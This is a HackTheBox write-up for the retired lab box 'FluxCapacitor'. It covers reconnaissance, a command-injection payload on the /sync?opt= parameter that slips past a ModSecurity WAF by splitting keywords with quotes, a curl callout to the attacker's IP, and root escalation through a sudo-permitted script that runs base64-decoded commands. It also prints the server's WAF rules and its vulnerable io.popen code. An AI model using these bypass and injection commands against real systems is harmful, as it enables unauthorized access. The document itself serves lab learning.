Probably my least favorite box on HTB, largely because it involved a lot of guessing. I did enjoy looking for privesc without having a shell on the host.

Box Info

Release Date 16 Dec 2017
Retire Date 04 May 2024
OS Linux Linux
Rated Difficulty Rated difficulty for FluxCapacitor
Radar Graph Radar chart for FluxCapacitor
User
05:45:24arkantolo
Root
07:58:26yuntao
Creator del_EzjAx34h

Recon

nmap

Only TCP 80 seems open:

root@kali# nmap -sT -p- --min-rate 5000 --max-retries 1 -oA nmap/alltcp 10.10.10.69

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-21 06:14 EDT
Warning: 10.10.10.69 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.69
Host is up (0.098s latency).
Not shown: 63754 closed ports, 1780 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
root@kali# nmap -sU -p- --min-rate 5000 --max-retries 1 -oA nmap/alludp 10.10.10.69

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-21 06:14 EDT
Warning: 10.10.10.69 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.69
Host is up (0.10s latency).
All 65535 scanned ports on 10.10.10.69 are open|filtered (65504) or closed (31)

nmap done: 1 IP address (1 host up) scanned in 26.69 seconds

port 80

The page is super simple: Fluxcapacitor Htb image

The source reveals another path, /sync:

<!DOCTYPE html>
<html>
<head>
<title>Keep Alive</title>
</head>
<body>
    OK: node1 alive
	<!--
		Please, add timestamp with something like:
		<script> $.ajax({ type: "GET", url: '/sync' }); </script>
	-->
    <hr/>
    FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
    <em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
</body>
</html>

Visiting this path in the browser returns forbidden. I’ll try gobuster to look for other paths:

root@kali# gobuster -u http://fluxcapacitor.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
​
Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://fluxcapacitor.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
=====================================================
/sync (Status: 200)
/synctoy (Status: 200)
/syncing (Status: 200)
/sync_scan (Status: 200)
/syncnister (Status: 200)
/syncbackse (Status: 200)
/synch (Status: 200)
/sync4j (Status: 200)
/synchpst (Status: 200)
/syncapture (Status: 200)
/syncback (Status: 200)
/syncml (Status: 200)
/synchronization (Status: 200)
=====================================================

Finds the same /sync path, but it gets a 200, not a 403. Any path starting sync* will return the same. curl shows a good result too:

root@kali# curl http://fluxcapacitor.htb/sync
20180321T11:35:15
root@kali# curl http://fluxcapacitor.htb/sync -x http://127.0.0.1:8080
20180321T11:37:42

Suspect that it is filtering on user agent. Confirmed by catching a request from firefox with burp, changing the UA to ‘yip’, and then the result is the time.

Since this /sync path is used for something, let’s look for a parameter using wfuzz. Interstingly, opt returns something different:

root@kali# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: nothingtoseehere" --hh=19 "http://fluxcapacitor.htb/sync?FUZZ=test"
​
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
​
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************
​
Target: http://fluxcapacitor.htb/sync?FUZZ=test
Total requests: 220560
​
==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================
​
009874:  C=403      7 L       10 W          175 Ch        "opt"
060620:  C=200      2 L        1 W       19 Ch    "87764"
Fatal exception: Pycurl error 28: Operation timed out after 90000 milliseconds with 0 bytes received

Next I’ll try to figure out what the opt parameter takes. This page shows a method.

If I just send the ‘, it comes back with ‘\n’ payload, with the following header (curl then burp response header):

root@kali# curl -v "http://fluxcapacitor.htb/sync?opt='" -x http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to (nil) (127.0.0.1) port 8080 (#0)
> GET http://fluxcapacitor.htb/sync?opt=' HTTP/1.1
> Host: fluxcapacitor.htb
> User-Agent: curl/7.81.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 15 Jul 2023 10:09:50 GMT
< Content-Type: text/plain
< Connection: close
< Server: SuperWAF
< Content-Length: 1
< 

* Closing connection 0

If i put in something else for opt without the ‘:

root@kali# curl -v "http://fluxcapacitor.htb/sync?opt=ls" -x http://127.0.0.1:8080
*   Trying 127.0.0.1:8080...
* Connected to (nil) (127.0.0.1) port 8080 (#0)
> GET http://fluxcapacitor.htb/sync?opt=ls HTTP/1.1
> Host: fluxcapacitor.htb
> User-Agent: curl/7.81.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 15 Jul 2023 10:10:25 GMT
< Content-Type: text/html
< Content-Length: 175
< Connection: close
< 
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>
* Closing connection 0

Tried a bunch of different stuff, all that returns 403:

  • http://fluxcapacitor.htb/sync?opt='echo'
  • http://fluxcapacitor.htb/sync?opt='echo
  • http://fluxcapacitor.htb/sync?opt='pwd
  • http://fluxcapacitor.htb/sync?opt='/bin/ls
  • http://fluxcapacitor.htb/sync?opt='/usr/bin/curl+10.10.15.147
  • http://fluxcapacitor.htb/sync?opt='wget
  • http://fluxcapacitor.htb/sync?opt=wget

Other stuff returns the time (api working correctly), and these have the same Server: SuperWAF header in the response:

  • http://fluxcapacitor.htb/sync?opt=''
  • http://fluxcapacitor.htb/sync?opt='.'
  • http://fluxcapacitor.htb/sync?opt='/'

Other stuff returns an empty line:

  • http://fluxcapacitor.htb/sync?opt='/
  • http://fluxcapacitor.htb/sync?opt='/b
  • http://fluxcapacitor.htb/sync?opt='/bin
  • http://fluxcapacitor.htb/sync?opt='/bin/l
  • http://fluxcapacitor.htb/sync?opt='/bin/l?
  • http://fluxcapacitor.htb/sync?opt='/usr/bin/cur?+10.10.15.147

Perhaps the 403 is a WAF rejecting me, which is why /bin/l doesn’t get 403, but /bin/ls does? But the Server: SuperWAF comes back only in the empty replies and the functional replies.

Seems like if I can figure out command injection, then I can figure out how to get that through the WAF…

Adding a space starts to get somewhere…and using ” to break things apart.

July 2023 Update - It seems that curl behaves a bit differently now, and won’t send these kind of broken payloads any more. Where in 2018, this worked:

root@kali# curl "10.10.10.69/sync?opt=' pw''d'"
/
bash: -c: option requires an argument

root@kali# curl "10.10.10.69/sync?opt=' whi''ch cu''rl'"
/usr/bin/curl
bash: -c: option requires an argument

In 2023, it does not:

oxdf@hacky$ curl "10.10.10.69/sync?opt=' pw''d'"
curl: (3) URL using bad/illegal format or missing URL

No request is even sent. Still, it does work in Burp Repeater:

image-20230715061913023

I won’t update every command from here on, but do note that you may need something else besides curl. Thanks to InvertedClimbing for the tip.

Test callout:

root@kali# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.69 - - [25/Mar/2018 14:34:01] "GET / HTTP/1.1" 200 -

root@kali# curl "10.10.10.69/sync?opt=' cu''rl 10.10.14.157'"
0xdf
bash: -c: option requires an argument

Grab user.txt:

root@kali# curl "10.10.10.69/sync?opt=' l''s /home'"
FluxCapacitorInc
themiddle
bash: -c: option requires an argument

root@kali# curl "10.10.10.69/sync?opt=' l''s /home/themiddle'"
checksync
user.txt
bash: -c: option requires an argument

root@kali# curl "10.10.10.69/sync?opt=' c''at /home/themiddle/us''er.txt'"
Flags? Where we're going we don't need flags.
bash: -c: option requires an argument

root@kali# curl "10.10.10.69/sync?opt=' c''at /home/FluxCapacitorIn''c/us''er.txt'"
[redacted]
bash: -c: option requires an argument

Get a shell?

Try a shell:

root@kali# curl "10.10.10.69/sync?opt=' whi''ch pytho''n'"
bash: -c: option requires an argument

root@kali# curl "10.10.10.69/sync?opt=' whi''ch pytho''n3'"
/usr/bin/python3
bash: -c: option requires an argument

Give up on Shell, privesc through web

Can find python3, but pipe gets blocked, and i can’t write even to tmp. Getting a shell seems hard.

Since I can’t get LinEnum up on the box, think about the things it typically finds. sudo is a good place to start:

root@kali# curl "10.10.10.69/sync?opt=' su''do -l'"
Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit
bash: -c: option requires an argument

root@kali# curl "10.10.10.69/sync?opt=' c''at /home/themiddle/.monit'"
#!/bin/bash

if [ "$1" == "cmd" ]; then
        echo "Trying to execute ${2}"
        CMD=$(echo -n ${2} | base64 -d)
        bash -c "$CMD"
fi
bash: -c: option requires an argument

So it looks like the current user can run sudo /home/themiddle/.monit cmd [base64 string], and that base64 string will be decodeed and run as root!

root@kali# curl "10.10.10.69/sync?opt=' su''do /home/themiddle/.monit cmd $(echo cat /root/root.txt | base64)'"
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0Cg==
[redacted]
bash: -c: option requires an argument

Other things to pull

Using this access, pull the webserver configuration:

root@kali# curl "10.10.10.69/sync?opt=' sudo /home/themiddle/.monit cmd $(echo cat /usr/local/o*/n*/conf/ngin*f| base64)'" > nginx.conf

This defines the WAF and the functionality of the application:

...
more_clear_headers 'Server';
add_header Server 'SuperWAF';

modsecurity on;
location /sync {
 default_type 'text/plain';

modsecurity_rules '
 SecDefaultAction "phase:1,log,auditlog,deny,status:403"
 SecDefaultAction "phase:2,log,auditlog,deny,status:403"

SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

SecRuleEngine On
 SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"

SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode
,block"
 ';

content_by_lua_block {
 local opt = 'date'
 if ngx.var.arg_opt then
 opt = ngx.var.arg_opt
 end

-- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")

local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
 local result = handle:read("*a")
 handle:close()
 ngx.say(result)
 }
...